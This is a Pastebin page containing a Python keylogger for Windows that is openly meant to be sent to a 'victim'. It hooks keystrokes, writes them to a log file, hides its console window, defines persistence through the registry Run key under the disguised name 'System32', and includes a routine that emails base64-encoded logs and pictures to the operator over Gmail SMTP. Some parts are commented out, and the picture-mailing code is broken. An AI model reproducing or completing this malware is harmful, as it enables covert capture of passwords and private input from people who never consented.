Advertisement
bar2104

Untitled

May 12th, 2018
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.48 KB | None | 0 0
  1. import sys
  2. import win32api, pythoncom
  3. import pyHook, os, time, random, smtplib, string, base64
  4. from winreg import *
  5.  
  6. global t,start_time,pics_names,yourgmail,yourgmailpass,sendto,interval
  7. global lastWindow, lastTime, flag
  8.  
  9. t=""
  10. pics_names=[]
  11.  
  12.  
  13. lastWindow = 'start'
  14. flag = True
  15.  
  16.  
  17. #Note: You have to edit this part from sending the keylogger to the victim
  18.  
  19. #########Settings########
  20.  
  21. # yourgmail=                              #What is your gmail?
  22. # yourgmailpass=                                    #What is your gmail password
  23. # sendto                                          #Where should I send the logs to? (any email address)
  24. # interval=300                                         #Time to wait before sending data to email (in seconds)
  25.  
  26. ########################
  27.  
  28. try:
  29.  
  30.     f = open('Logfile.txt', 'a')
  31.     f.close()
  32. except:
  33.  
  34.     f = open('Logfile.txt', 'w')
  35.     f.close()
  36.  
  37. def addStartup():  # this will add the file to the startup registry key
  38.     fp = os.path.dirname(os.path.realpath(__file__))
  39.     file_name = sys.argv[0].split('\\')[-1]
  40.     new_file_path = fp + '\\' + file_name
  41.     keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
  42.     key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
  43.     SetValueEx(key2change, 'System32', 0, REG_SZ,
  44.                new_file_path)
  45.  
  46. def Hide():
  47.     import win32console
  48.     import win32gui
  49.     win = win32console.GetConsoleWindow()
  50.     win32gui.ShowWindow(win, 0)
  51.  
  52. #addStartup()
  53. Hide()
  54.  
  55.  
  56.  
  57. def Mail_it(data, pics_names):
  58.     data = base64.b64encode(data)
  59.     data = 'New data from victim(Base64 encoded)\n' + data
  60.     server = smtplib.SMTP('smtp.gmail.com:587')
  61.     server.starttls()
  62.     server.login(yourgmail, yourgmailpass)
  63.     server.sendmail(yourgmail, sendto, data)
  64.     server.close()
  65.  
  66.     for pic in pics_names:
  67.         data = base64.b64encode(open(pic, 'r+').read())
  68.         data = 'New pic data from victim(Base64 encoded)\n' + data
  69.         server = smtplib.SMTP('smtp.gmail.com:587')
  70.         server.starttls()
  71.         server.login(yourgmail, yourgmailpass)
  72.         server.sendmail(yourgmail, sendto, msg.as_string())
  73.         server.close()
  74.  
  75.  
  76.  
  77.  
  78. def OnKeyboardEvent(event):
  79.     # global yourgmail, yourgmailpass, sendto, interval
  80.     global lastWindow, lastTime, t, flag
  81.  
  82.     data = t
  83.  
  84.     # if lastWindow != event.WindowName:
  85.     #     data = '\n WINDOW: [ ' + str(event.WindowName) + ' ] \n'
  86.     #     lastWindow = event.WindowName
  87.     #     f = open('Logfile.txt', 'a')
  88.     #     f.write(data)
  89.     #     f.close()
  90.     #     t = ''
  91.  
  92.     if str(event.Key) == 'Space':
  93.         data += '\n'
  94.         f = open('Logfile.txt', 'a')
  95.         f.write(data)
  96.         f.close()
  97.         t = ''
  98.     elif str(event.Key) == 'Return':
  99.         data += '\n [ENTER] \n'
  100.         f = open('Logfile.txt', 'a')
  101.         f.write(data)
  102.         f.close()
  103.         t = ''
  104.     else:
  105.         data += str(event.Key)
  106.         t = data
  107.  
  108.  
  109.  
  110.  
  111.     # data = '\n[' + str(time.ctime().split(' ')[3]) + ']' + ' WindowName : ' + str(event.WindowName)
  112.     # data += '\n\tKeyboard key :' + str(event.Key) + '\n\n'
  113.     # global  start_time
  114.  
  115.  
  116.     # print(data)
  117.  
  118.     # f = open('Logfile.txt', 'a')
  119.     # f.write(t)
  120.     # f.close()
  121.     # t = ''
  122.  
  123.     # if int(time.time() - start_time) == int(interval):
  124.     #     Mail_it(t, pics_names)
  125.     #     t = ''
  126.  
  127.     return True
  128.  
  129.  
  130.  
  131. hook = pyHook.HookManager()
  132. hook.KeyDown = OnKeyboardEvent
  133. hook.HookKeyboard()
  134.  
  135.  
  136. #start_time = time.time()
  137.  
  138. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement